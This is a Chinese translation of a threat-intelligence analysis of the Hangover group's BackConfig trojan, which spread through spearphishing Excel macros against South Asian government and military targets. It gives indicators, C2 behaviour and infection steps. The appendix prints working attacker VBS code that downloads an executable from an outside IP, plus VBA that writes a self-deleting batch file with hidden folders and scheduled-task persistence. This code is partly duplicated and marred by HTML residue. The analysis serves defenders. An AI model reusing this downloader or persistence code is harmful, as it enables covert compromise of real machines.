针对南亚的恶意软件BackConfig分析
针对南亚的恶意软件BackConfig分析
研究人员在过去4个月中发现,Hangover组织(又名Neon,Viceroy Tiger,MONSOON)使用BackConfig恶意软件,通过鱼叉式网络钓鱼攻击南亚的政府和军事组织。BackConfig木马具有灵活的插件体系结构,利用组件完成各种功能,包括收集系统和键盘记录信息、上传和执行代码。
最初感染媒介是Microsoft Excel(XLS)文档,文档托管在合法网站,通过电子邮件把网站URL发送到目标邮箱中。文档使用VBA宏代码,如果受害者启用了该代码,会启动木马下载安装程序,下载多个模块完成木马拼装。模块化可使攻击者更快地更改单个组件,可以破坏沙箱和动态分析系统,尤其是在隔离分析组件时可以分割恶意行为。
初始分析
在搜索与特定部门和国家/地区有关的AutoFocus数据时,首先发现了Windows PE可执行文件(SHA256:84e56294b260b9024917c390be21121e927f414965a7a9db7ed7603e29b0d69c)的活动。该文件于2020年1月19日首次出现,下载源为http://212.114.52[.]148/request/httpsrequest,文件以dphc.exe形式存储在本地。恶意软件允许攻击者下载并执行可执行文件,下载并运行批处理文件,在系统上运行命令。样本有自定义的“解密”算法,从每个字符中减去6,解密后得以下字符串:
linkrequest[.]live
\\Adobe\\Driver\\dwg\\pid.txt
\\Adobe\\Driver\\dwg\\
\\Adobe\\Driver\\dwg\\wuaupdt.exe
木马从文件读取C2 URL,如果文件不存在,则退出不执行任何活动。
%USERPROFILE%\Adobe\Driver\dwg\pid.txt
C2通道使用HTTPS,调用HttpOpenRequestA函数时使用了INTERNET_FLAG_SECURE,信标HTTP请求将如下所示:
GET /orderme/[contents of pid.txt file] HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 @/NEW
Host: linkrequest[.]live [resolving to 23.106.123[.]87]
木马在HTTP响应头中查找以下字段和值:
“Content-Type: application”
“Content-Type: xDvsds”
“Content-Type: Bw11eW”
如果content-type字段包含application值,木马将从HTTP响应头中提取字符串文件名和Content-Transfer-Encoding文件名。使用此文件名在%USERPROFILE%\Adobe\Driver\dwg\ folder中创建文件,在HTTP响应中写入数据。
如果content-type字段值为xDvsds,木马将尝试使用ShellExecuteA和“ open”方法执行以下文件:
%USERPROFILE%\Adobe\Driver\dwg\wuaupdt.exe
如果content-type字段的值为Bw11eW,木马尝试使用ShellExecuteA和“open”方法执行以下文件:
%USERPROFILE%\Adobe\Driver\dwg\test.bat
PE元数据
恶意软件样本包含自签名数字证书,这些可执行文件声称是来自加利福尼亚的Foxit Software Incorporated公司的软件, 通过定制的文件名和URL的使用使恶意软件更加可信。通过PE元数据,以及基础结构信息,可查找其他BackConfig PE样本。 下面列出了过去12个月的样本:
下表显示了来自相同PE文件的版本信息,:
传播和安装
第三方基础设施
发现与第三方基础设置有关的URL,这些第三方基础设置可支持BackConfig恶意软件的传播。下表列出了武器化XLS文件与文件名:
通过对目标和第三方网站分析,网址中使用“fbr”可能与巴基斯坦联邦税务局(fbr)有关。托管文件不依赖php脚本进行传播,页面响应状态301(永久移动)并将URL重定向到所述XLS,启动下载。攻击者使用PHP脚本将访问页面记录到“info.txt”文件中,文件记录了日期时间、客户端操作系统及其IP地址。
样本ed638b5于2017年11月8日被发现了,托管在两个网站上:孟加拉国学校和Maldivan船务代理。
样本ed638b5的VBA代码直接从下面的URL下载的EXE有效负载(SHA256:4104a871e03f12446ef2f0407177167a9c6679f48d48825cbc1584e4fa792cd)。
http://chancetowin.quezknal[.]net/appstore/updatepatch/logs.exe
有效载荷演变
下面的时间线图提供了攻击者ttp的演变视图:
每个XLS都会加载一条虚假的错误消息,如下图示,诱骗受害者以为该文件已损坏。
表3中列出的Form.xls(SHA256:be3f12bcc467808c8cc30a784765df1b3abe3e7a426fda594edbc7191bbda461)提供了攻击者引诱示例。
打开XLS并启用宏代码后,会显示一份注册表,内容与巴基斯坦政府帮助解决该国住房短缺计划有关。
AutoFocus和VirusTotal在2019年10月25日处理了XLS文件,发现了nphp_registration_form.php?r= was processed,该URL与http://185.203.119[.]184/fin_div/session有关联,IP地址与样本be3f12b有关联, PHP网页nphp_registration_form.php的名称与XLS的文件名有关。
XLS文件be3f12b中的VBA宏代码与前几年的样本有所不同。它不直接从VBA代码植入EXE文件或运行Shell命令,而是从Excel工作表中从第27列或“ AA”开始的隐藏列中检索内容。在AA和AB列中发现先前变体中的批处理代码组件以及新的Visual Basic Script(VBS)下载器组件,如下图5所示。
2019年11月15日发现新的武器化XLS文件(SHA256:021b030981a6db1ec90ccbd6d20ee66b554b7d8c611476e63426a9288d5ce68b)。VBA宏代码包含有1,062字节大小的十进制编码的ZIP文件。ZIP文件内有两个文本文件,这些文件会被解压缩到文件夹driverkit中。
Invoice.xls(SHA256:8892279f3d87bcd44d8f9ac1af7e6da0cfc7cf1731b531056e24e98510bea83c;首次发现日期:2020-01-15)。感染过程由多个组件组成。 一旦VBA将其写入磁盘并执行,“setup”批处理(BAT)文件和BackConfig插件会对目标进行感染。
1、创建文本文件Drive.txt(SHA-256:4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1),其中包含十进制解码的VBS。
2、VBA代码将批处理写入 Audio.txt。
3、Audio.txt重命名为Audio.bat并执行。
4、Audio.bat会清理与先前感染相关的所有文件和文件夹,并重新创建所需的环境(包括创建上述pid.txt)。
5、Audio.bat创建两个计划的任务引用两个文件:dphc.exe将每10分钟运行一次,Drive.vbs每20分钟运行一次。
6、在删除自身之前,Audio.bat会将Drive.txt重命名为Drive.vbs。执行Drive.vbs时,它将下载BackConfig可执行文件有效负载。
7、执行dphc.exe时,它首先检查pid.txt是否存在(步骤4),仅在文件存在的情况下继续运行。
最终,XLS将两个文件写入磁盘,BAT修改系统设置并创建两个计划任务。20分钟后计划任务执行VBS下载器组件并启动BackConfig loader EXE。
总结
Hangover组织保持活跃状态并具有针对性,针对南亚政府和军事组织使用鱼叉式钓鱼电子邮件攻击,诱使受害者浏览网站并下载含有BackConfig Trojan的Excel文档,从BackConfig的样本中发现其执行命令和部署方式等。恶意软件模块化可使攻击者轻松地更新和重用代码,该组织将重点放在逃避沙箱和其他自动化系统检测。
ATTstrong>185.203.119[.]184/Dropbox/request"/strong>
Set oShell = CreateObject("WScript.Shell")
strHomeFolder =
oShell.ExpandEnvironmentStrings("%USERPROFILE%")
strPath = "strong>C:\Drivers\dphc.exe"/strong>
On Error Resume Next
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.Fileexists(strPath) Then WScript.Quit()
Set objFSO = Nothing
objADOStream.SaveToFile strPath
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
Audio.txt -> Audio.bat CODE
Set oFile = fso.CreateTextFile("c:\Drivers\Audio.txt")
oFile.WriteLine ("echo off")
oFile.WriteLine ("md %USERPROFILE%\Adobe\Driver\pdf")
oFile.WriteLine ("md %USERPROFILE%\Adobe\Driver\dwg")
oFile.WriteLine ("md %USERPROFILE%\Daily\Backup\Files")
oFile.WriteLine ("attrib +a +h +s %USERPROFILE%\Adobe")
oFile.WriteLine ("attrib +a +h +s %USERPROFILE%\Daily")
oFile.WriteLine ("attrib +a +h +s C:\Drivers")
oFile.WriteLine ("del /f
%USERPROFILE%\Adobe\Driver\pdf\pid.txt")
oFile.WriteLine ("del /f
%USERPROFILE%\Adobe\Driver\dwg\pid.txt"
oFile.WriteLine ("SET /A %COMPUTERNAME%")
oFile.WriteLine ("SET /A RAND=%RANDOM% 10000 + 1")
oFile.WriteLine ("echo %COMPUTERNAME%-%RAND% >>
%USERPROFILE%\Adobe\Driver\pdf\pid.txt")
oFile.WriteLine ("echo %COMPUTERNAME%-%RAND% >>
strong>%USERPROFILE%\Adobe\Driver\dwg\pid.txt")/strong>
oFile.WriteLine ("schtasks /delete /tn Winmgt_log /f")
oFile.WriteLine ("schtasks /delete /tn Yahoo_Drive /f")
oFile.WriteLine ("schtasks /create /sc minute /mo 10 /f /tn
Winmgt_log /tr C:\Drivers\dphc.exe")
oFile.WriteLine ("schtasks /create /sc minute /mo 20 /f /tn
Yahoo_Drive /tr C:\Drivers\Drive.vbs")
oFile.WriteLine ("ren C:\Drivers\Drive.txt Drive.vbs ")
oFile.WriteLine ("del %0")
oFile.Close
Set fso = Nothing
Set oFile = Nothing
Dim OldName, NewName
GivenLocation = "C:\Drivers\"
OldName = "Audio.txt"
strong>NewName = "Audio.bat"/strong>
On Error Resume Next
Name GivenLocation & OldName As GivenLocation & NewName
Dim RetVal
RetVal = Shell("C:\Drivers\Audio.bat", vbHide)
Set oFile = fso.CreateTextFile("c:\Drivers\Audio.txt")
oFile.WriteLine ("echo off")
oFile.WriteLine ("md %USERPROFILE%\Adobe\Driver\pdf")
oFile.WriteLine ("md %USERPROFILE%\Adobe\Driver\dwg")
oFile.WriteLine ("md %USERPROFILE%\Daily\Backup\Files")
oFile.WriteLine ("attrib +a +h +s %USERPROFILE%\Adobe")
oFile.WriteLine ("attrib +a +h +s %USERPROFILE%\Daily")
oFile.WriteLine ("attrib +a +h +s C:\Drivers")
oFile.WriteLine ("del /f
%USERPROFILE%\Adobe\Driver\pdf\pid.txt")
oFile.WriteLine ("del /f
%USERPROFILE%\Adobe\Driver\dwg\pid.txt"
oFile.WriteLine ("SET /A %COMPUTERNAME%")
oFile.WriteLine ("SET /A RAND=%RANDOM% 10000 + 1")
oFile.WriteLine ("echo %COMPUTERNAME%-%RAND% >>
%USERPROFILE%\Adobe\Driver\pdf\pid.txt")
oFile.WriteLine ("echo %COMPUTERNAME%-%RAND% >>
strong>%USERPROFILE%\Adobe\Driver\dwg\pid.txt")/strong>
oFile.WriteLine ("schtasks /delete /tn Winmgt_log /f")
oFile.WriteLine ("schtasks /delete /tn Yahoo_Drive /f")
oFile.WriteLine ("schtasks /create /sc minute /mo 10 /f /tn
Winmgt_log /tr C:\Drivers\dphc.exe")
oFile.WriteLine ("schtasks /create /sc minute /mo 20 /f /tn
Yahoo_Drive /tr C:\Drivers\Drive.vbs")
oFile.WriteLine ("ren C:\Drivers\Drive.txt Drive.vbs ")
oFile.WriteLine ("del %0")
oFile.Close
Set fso = Nothing
Set oFile = Nothing
Dim OldName, NewName
GivenLocation = "C:\Drivers\"
OldName = "Audio.txt"
strong>NewName = "Audio.bat"/strong>
On Error Resume Next
Name GivenLocation & OldName As GivenLocation & NewName
Dim RetVal
RetVal = Shell("C:\Drivers\Audio.bat", vbHide)
*参考来源:paloaltonetworks,由Kriston编译,转载请注明来自FreeBuf.COM